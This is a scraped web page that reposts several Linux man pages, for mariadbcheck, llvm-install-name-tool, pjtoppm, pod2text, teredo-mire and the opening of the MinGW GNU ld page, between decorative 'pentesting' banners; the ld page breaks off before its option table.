             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1376 - Linux cli command mariadbcheck

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadbcheck and provides detailed information about the command mariadbcheck, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadbcheck.

NAME 🖥️ mariadbcheck 🖥️

check - a table maintenance program (mysqlcheck is now a symlink to mariadb-check)

SYNOPSIS

**mysqlcheck [options] [**db_name **[**tbl_name …]]

DESCRIPTION

The mysqlcheck client performs table maintenance: It checks, repairs, optimizes, or analyzes tables.

Each table is locked and therefore unavailable to other sessions while it is being processed, although for check operations, the table is locked with a READ lock only. Table maintenance operations can be time-consuming, particularly for large tables. If you use the –databases or –all-databases option to process all tables in one or more databases, an invocation of mysqlcheck might take a long time. (This is also true for mysql_upgrade because that program invokes mysqlcheck to check all tables and repair them if necessary.)

mysqlcheck is similar in function to myisamchk, but works differently. The main operational difference is that mysqlcheck must be used when the mysqld server is running, whereas myisamchk should be used when it is not. The benefit of using mysqlcheck is that you do not have to stop the server to perform table maintenance.

mysqlcheck uses the SQL statements CHECK TABLE, REPAIR TABLE, ANALYZE TABLE, and OPTIMIZE TABLE in a convenient way for the user. It determines which statements to use for the operation you want to perform, and then sends the statements to the server to be executed.

The MyISAM storage engine supports all four maintenance operations, so mysqlcheck can be used to perform any of them on MyISAM tables. Other storage engines do not necessarily support all operations. In such cases, an error message is displayed. For example, if test.t is a MEMORY table, an attempt to check it produces this result:

shell> mysqlcheck test t test.t note : The storage engine for the table doesn’t support check

If mysqlcheck is unable to repair a table, see the MariaDB Knowledge Base for manual table repair strategies. This will be the case, for example, for InnoDB tables, which can be checked with CHECK TABLE, but not repaired with REPAIR TABLE.

The use of mysqlcheck with partitioned tables is not supported.

Caution

It is best to make a backup of a table before performing a table repair operation; under some circumstances the operation might cause data loss. Possible causes include but are not limited to file system errors.

There are three general ways to invoke mysqlcheck:

shell> mysqlcheck [options] db_name [tbl_name …] shell> mysqlcheck [options] –databases db_name … shell> mysqlcheck [options] –all-databases

If you do not name any tables following db_name or if you use the –databases or –all-databases option, entire databases are checked.

mysqlcheck has a special feature compared to other client programs. The default behavior of checking tables (–check) can be changed by renaming the binary. If you want to have a tool that repairs tables by default, you should just make a copy of mysqlcheck named mysqlrepair, or make a symbolic link to mysqlcheck named mysqlrepair. If you invoke mysqlrepair, it repairs tables.

The following names can be used to change mysqlcheck default behavior.

mysqlrepairThe default option is --repair
mysqlanalyzeThe default option is --analyze
mysqloptimizeThe default option is --optimize

mysqlcheck supports the following options, which can be specified on the command line or in the [mysqlcheck] and [client] option file groups. The -c, -r, -a and -o options are exclusive to each other.

·

–help, -?

Display a help message and exit.

·

–all-databases, -A

Check all tables in all databases. This is the same as using the –databases option and naming all the databases on the command line.

·

–all-in-1, -1

Instead of issuing a statement for each table, execute a single statement for each database that names all the tables from that database to be processed.

·

–analyze, -a

Analyze the tables.

·

–auto-repair

If a checked table is corrupted, automatically fix it. Any necessary repairs are done after all tables have been checked.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–check, -c

Check the tables for errors. This is the default operation.

·

–check-only-changed, -C

Check only tables that have changed since the last check or that have not been closed properly.

·

–check-upgrade, -g

Invoke CHECK TABLE with the FOR UPGRADE option to check tables for incompatibilities with the current version of the server. This option automatically enables the –fix-db-names and –fix-table-names options.

·

–compress

Compress all information sent between the client and the server if both support compression.

·

–databases, -B

Process all tables in the named databases. Normally, mysqlcheck treats the first name argument on the command line as a database name and following names as table names. With this option, it treats all name arguments as database names.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–extended, -e

If you are using this option to check tables, it ensures that they are 100% consistent but takes a long time.

If you are using this option to repair tables, it will force using the old, slow, repair with keycache method, instead of the much faster repair by sorting.

·

–fast, -F

Check only tables that have not been closed properly.

·

–fix-db-names

Convert database names to the format used since MySQL 5.1. Only database names that contain special characters are affected.

·

–fix-table-names

Convert table names (including views) to the format used since MySQL 5.1. Only table names that contain special characters are affected.

·

–flush,

Flush each table after check. This is useful if you don’t want to have the checked tables take up space in the caches after the check.

·

–force, -f

Continue even if an SQL error occurs.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–medium-check, -m

Do a check that is faster than an –extended operation. This finds only 99.99% of all errors, which should be good enough in most cases.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–optimize, -o

Optimize the tables.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlcheck prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–persistent, -Z

Used with ANALYZE TABLE to append the option PERSISENT FOR ALL.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–process-tables

Perform the requested operation on tables. Defaults to on; use –skip-process-tables to disable.

·

**–process-views=**val

Perform the requested operation (only CHECK VIEW or REPAIR VIEW). Possible values are NO, YES (correct the checksum, if necessary, add the mariadb-version field), UPGRADE_FROM_MYSQL (same as YES and toggle the algorithm MERGE<->TEMPTABLE.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–quick, -q

If you are using this option to check tables, it prevents the check from scanning the rows to check for incorrect links. This is the fastest check method.

If you are using this option to repair tables, it tries to repair only the index tree. This is the fastest repair method.

·

–repair, -r

Perform a repair that can fix almost anything except unique keys that are not unique.

·

–silent, -s

Silent mode. Print only error messages.

·

**–skip-database=**db_name

Don’t process the database (case-sensitive) specified as argument.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–tables

Override the –databases or -B option. All name arguments following the option are regarded as table names.

·

–use-frm

For repair operations on MyISAM tables, get the table structure from the .frm file so that the table can be repaired even if the .MYI header is corrupted.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print information about the various stages of program operation. Using one –verbose option will give you more information about what mysqlcheck is doing.

Using two –verbose options will also give you connection information.

Using it 3 times will print out all CHECK, RENAME and ALTER TABLE during the check phase.

·

–version, -V

Display version information and exit.

·

–write-binlog

This option is enabled by default, so that ANALYZE TABLE, OPTIMIZE TABLE, and REPAIR TABLE statements generated by mysqlcheck are written to the binary log. Use –skip-write-binlog to cause NO_WRITE_TO_BINLOG to be added to the statements so that they are not logged. Use the –skip-write-binlog when these statements should not be sent to replication slaves or run when using the binary logs for recovery from backup.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1377 - Linux cli command llvm-install-name-tool-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-install-name-tool-16 and provides detailed information about the command llvm-install-name-tool-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-install-name-tool-16.

NAME 🖥️ llvm-install-name-tool-16 🖥️

install-name-tool - LLVM tool for manipulating install-names and rpaths

SYNOPSIS

llvm-install-name-tool [options] input

DESCRIPTION

llvm-install-name-tool is a tool to manipulate dynamic shared library install names and rpaths listed in a Mach-O binary.

For most scenarios, it works as a drop-in replacement for Apple’s install_name_tool.

OPTIONS

At least one of the following options are required, and some options can be combined with other options. Options -add_rpath, -delete_rpath, and -rpath can be combined in an invocation only if they do not share the same <rpath> value.

-add_rpath <rpath>
Add an rpath named <rpath> to the specified binary. Can be specified multiple times to add multiple rpaths. Throws an error if <rpath> is already listed in the binary.

-change <old_install_name> <new_install_name>
Change an install name <old_install_name> to <new_install_name> in the specified binary. Can be specified multiple times to change multiple dependent shared library install names. Option is ignored if <old_install_name> is not listed in the specified binary.

-delete_rpath <rpath>
Delete an rpath named <rpath> from the specified binary. Can be specified multiple times to delete multiple rpaths. Throws an error if <rpath> is not listed in the binary.

-delete_all_rpaths
Deletes all rpaths from the binary.

–help, -h
Print a summary of command line options.

-id <name>
Change shared library’s identification name under LC_ID_DYLIB to <name> in the specified binary. If specified multiple times, only the last -id option is selected. Option is ignored if the specified Mach-O binary is not a dynamic shared library.

-rpath <old_rpath> <new_rpath>
Change an rpath named <old_rpath> to <new_rpath> in the specified binary. Can be specified multiple times to change multiple rpaths. Throws an error if <old_rpath> is not listed in the binary or <new_rpath> is already listed in the binary.

–version, -V
Display the version of the llvm-install-name-tool executable.

EXIT STATUS

llvm-install-name-tool exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objcopy/strip/>.

SEE ALSO

llvm-objcopy(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1378 - Linux cli command pjtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pjtoppm and provides detailed information about the command pjtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pjtoppm.

.

NAME 🖥️ pjtoppm 🖥️

convert an HP PaintJet file to a PPM image

SYNOPSIS

pjtoppm

[paintjet]

DESCRIPTION

This program is part of Netpbm(1) .

pjtoppm reads an HP PaintJet file as input and converts it into a PPM image. This was a quick hack to save some trees, and it only handles a small subset of the paintjet commands. In particular, it will only handle enough commands to convert most raster image files.

OPTIONS

There are no command line options defined specifically for pjtoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

REFERENCES

HP PaintJet XL Color Graphics Printer User’s Guide

SEE ALSO

ppmtopj(1)

AUTHOR

Copyright (C) 1991 by Christos Zoulas.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pjtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1379 - Linux cli command pod2text

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pod2text and provides detailed information about the command pod2text, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pod2text.

NAME 🖥️ pod2text 🖥️

Convert POD data to formatted ASCII text

SYNOPSIS

pod2text [-aclostu] [–code] [-e encoding] [–errors=style] [–guesswork=rule[,rule…]] [-i indent] [-q quotes] [–nourls] [–stderr] [-w width] [input [output …]]

pod2text -h

DESCRIPTION

pod2text is a wrapper script around the Pod::Text and its subclasses. It uses them to generate formatted text from POD source. It can optionally use either termcap sequences or ANSI color escape sequences to format the text.

input is the file to read for POD source (the POD can be embedded in code). If input isn’t given, it defaults to STDIN. output, if given, is the file to which to write the formatted output. If output isn’t given, the formatted output is written to STDOUT. Several POD files can be processed in the same pod2text invocation (saving module load and compile times) by providing multiple pairs of input and output files on the command line.

By default, the output encoding is the same as the encoding of the input file, or UTF-8 if that encoding is not set (except on EBCDIC systems). See the -e option to explicitly set the output encoding and “Encoding” in Pod::Text for more discussion.

OPTIONS

Each option is annotated with the version of podlators in which that option was added with its current meaning.

-a, –alt
[1.00] Use an alternate output format that, among other things, uses a different heading style and marks =item entries with a colon in the left margin.

–code
[1.11] Include any non-POD text from the input file in the output as well. Useful for viewing code documented with POD blocks with the POD rendered and the code left intact.

-c, –color
[1.00] Format the output with ANSI color escape sequences. Using this option requires that Term::ANSIColor be installed on your system.

-e encoding, –encoding=encoding
[5.00] Specifies the encoding of the output. encoding must be an encoding recognized by the Encode module (see Encode::Supported). If the output contains characters that cannot be represented in this encoding, that is an error that will be reported as configured by the errors option. If error handling is other than die, the unrepresentable character will be replaced with the Encode substitution character (normally ?). WARNING: The input encoding of the POD source is independent from the output encoding, and setting this option does not affect the interpretation of the POD input. Unless your POD source is US-ASCII, its encoding should be declared with the =encoding command in the source, as near to the top of the file as possible. If this is not done, Pod::Simple will will attempt to guess the encoding and may be successful if it’s Latin-1 or UTF-8, but it will produce warnings. See perlpod (1) for more information.

–errors=style
[2.5.0] Set the error handling style. die says to throw an exception on any POD formatting error. stderr says to report errors on standard error, but not to throw an exception. pod says to include a POD ERRORS section in the resulting documentation summarizing the errors. none ignores POD errors entirely, as much as possible. The default is die.

–guesswork=rule[,rule…]
[5.01] By default, pod2text applies some default formatting rules based on guesswork and regular expressions that are intended to make writing Perl documentation easier and require less explicit markup. These rules may not always be appropriate, particularly for documentation that isn’t about Perl. This option allows turning all or some of it off. The special rule all enables all guesswork. This is also the default for backward compatibility reasons. The special rule none disables all guesswork. Otherwise, the value of this option should be a comma-separated list of one or more of the following keywords:

quoting
If no guesswork is enabled, any text enclosed in C<> is surrounded by double quotes in nroff (terminal) output unless the contents are already quoted. When this guesswork is enabled, quote marks will also be suppressed for Perl variables, function names, function calls, numbers, and hex constants.

Any unknown guesswork name is silently ignored (for potential future compatibility), so be careful about spelling.

-i indent, –indent=indent
[1.00] Set the number of spaces to indent regular text, and the default indentation for =over blocks. Defaults to 4 spaces if this option isn’t given.

-h, –help
[1.00] Print out usage information and exit.

-l, –loose
[1.00] Print a blank line after a =head1 heading. Normally, no blank line is printed after =head1, although one is still printed after =head2, because this is the expected formatting for manual pages; if you’re formatting arbitrary text documents, using this option is recommended.

-m width, –left-margin=width, –margin=width
[1.24] The width of the left margin in spaces. Defaults to 0. This is the margin for all text, including headings, not the amount by which regular text is indented; for the latter, see -i option.

–nourls
[2.5.0] Normally, L<> formatting codes with a URL but anchor text are formatted to show both the anchor text and the URL. In other words: L<foo|http://example.com/> is formatted as: foo <http://example.com/> This flag, if given, suppresses the URL when anchor text is given, so this example would be formatted as just foo. This can produce less cluttered output in cases where the URLs are not particularly important.

-o, –overstrike
[1.06] Format the output with overstrike printing. Bold text is rendered as character, backspace, character. Italics and file names are rendered as underscore, backspace, character. Many pagers, such as less, know how to convert this to bold or underlined text.

-q quotes, –quotes=quotes
[4.00] Sets the quote marks used to surround C<> text to quotes. If quotes is a single character, it is used as both the left and right quote. Otherwise, it is split in half, and the first half of the string is used as the left quote and the second is used as the right quote. quotes may also be set to the special value none, in which case no quote marks are added around C<> text.

-s, –sentence
[1.00] Assume each sentence ends with two spaces and try to preserve that spacing. Without this option, all consecutive whitespace in non-verbatim paragraphs is compressed into a single space.

–stderr
[2.1.3] By default, pod2text dies if any errors are detected in the POD input. If –stderr is given and no –errors flag is present, errors are sent to standard error, but pod2text does not abort. This is equivalent to --errors=stderr and is supported for backward compatibility.

-t, –termcap
[1.00] Try to determine the width of the screen and the bold and underline sequences for the terminal from termcap, and use that information in formatting the output. Output will be wrapped at two columns less than the width of your terminal device. Using this option requires that your system have a termcap file somewhere where Term::Cap can find it and requires that your system support termios. With this option, the output of pod2text will contain terminal control sequences for your current terminal type.

-u, –utf8
[2.2.0] Set the output encoding to UTF-8. This is equivalent to --encoding=UTF-8 and is supported for backward compatibility.

-w, –width=width, -width
[1.00] The column at which to wrap text on the right-hand side. Defaults to 76, unless -t is given, in which case it’s two columns less than the width of your terminal device.

EXIT STATUS

As long as all documents processed result in some output, even if that output includes errata (a POD ERRORS section generated with --errors=pod), pod2text will exit with status 0. If any of the documents being processed do not result in an output document, pod2text will exit with status 1. If there are syntax errors in a POD document being processed and the error handling style is set to the default of die, pod2text will abort immediately with exit status 255.

DIAGNOSTICS

If pod2text fails with errors, see Pod::Text and Pod::Simple for information about what those errors might mean. Internally, it can also produce the following diagnostics:

-c (–color) requires Term::ANSIColor be installed
(F) -c or –color were given, but Term::ANSIColor could not be loaded.

Unknown option: %s
(F) An unknown command line option was given.

In addition, other Getopt::Long error messages may result from invalid command-line options.

ENVIRONMENT

COLUMNS
If -t is given, pod2text will take the current width of your screen from this environment variable, if available. It overrides terminal width information in TERMCAP.

TERMCAP
If -t is given, pod2text will use the contents of this environment variable if available to determine the correct formatting sequences for your current terminal device.

AUTHOR

Russ Allbery <[email protected]>.

COPYRIGHT AND LICENSE

Copyright 1999-2001, 2004, 2006, 2008, 2010, 2012-2019, 2022 Russ Allbery <[email protected]>

This program is free software; you may redistribute it and/or modify it under the same terms as Perl itself.

SEE ALSO

Encode::Supported, Pod::Text, Pod::Text::Color, Pod::Text::Overstrike, Pod::Text::Termcap, Pod::Simple, perlpod (1)

The current version of this script is always available from its web site at <https://www.eyrie.org/~eagle/software/podlators/>. It is also part of the Perl core distribution as of 5.6.0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1380 - Linux cli command teredo-mire

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command teredo-mire and provides detailed information about the command teredo-mire, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the teredo-mire.

NAME 🖥️ teredo-mire 🖥️

mire - Stateless Teredo IPv6 responder

SYNOPSIS

teredo-mire

DESCRIPTON

Teredo-Mire is a test back-end for the Teredo IPv6 tunneling protocol. It listens for requests from other Teredo clients or IPv6 nodes (through Teredo relays) and answers to them statelessly. Currently only ICMPv6 Echo Requests (“pings”) are handled.

OPTIONS

-h or –help
Display some help and exit.

-V or –version
Display program version and exit.

DIAGNOSTICS

To contact a teredo-mire responder, a valid Teredo IPv6 address must be determined for it. The server IPv4 address and mapped client IPv4 address parts should both represent the IPv4 address of the host running teredo-mire. The mapped UDP port number must be 3545. The Teredo prefix and Teredo flags are ignored.

BUGS

teredo-mire uses UDP ports 3544 and 3545, and assumes it has a public IPv4 address.

Neither RFC 2460 nor RFC 4380 are properly implemented.

SECURITY

teredo-mire does not require any privilege to run.

SEE ALSO

ping6(8), miredo(8), ipv6(7)

AUTHOR

R�mi Denis-Courmont <remi at remlab dot net>

http://www.remlab.net/miredo/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1381 - Linux cli command x86_64-w64-mingw32ucrt-ld

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-ld and provides detailed information about the command x86_64-w64-mingw32ucrt-ld, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-ld.

NAME 🖥️ x86_64-w64-mingw32ucrt-ld 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

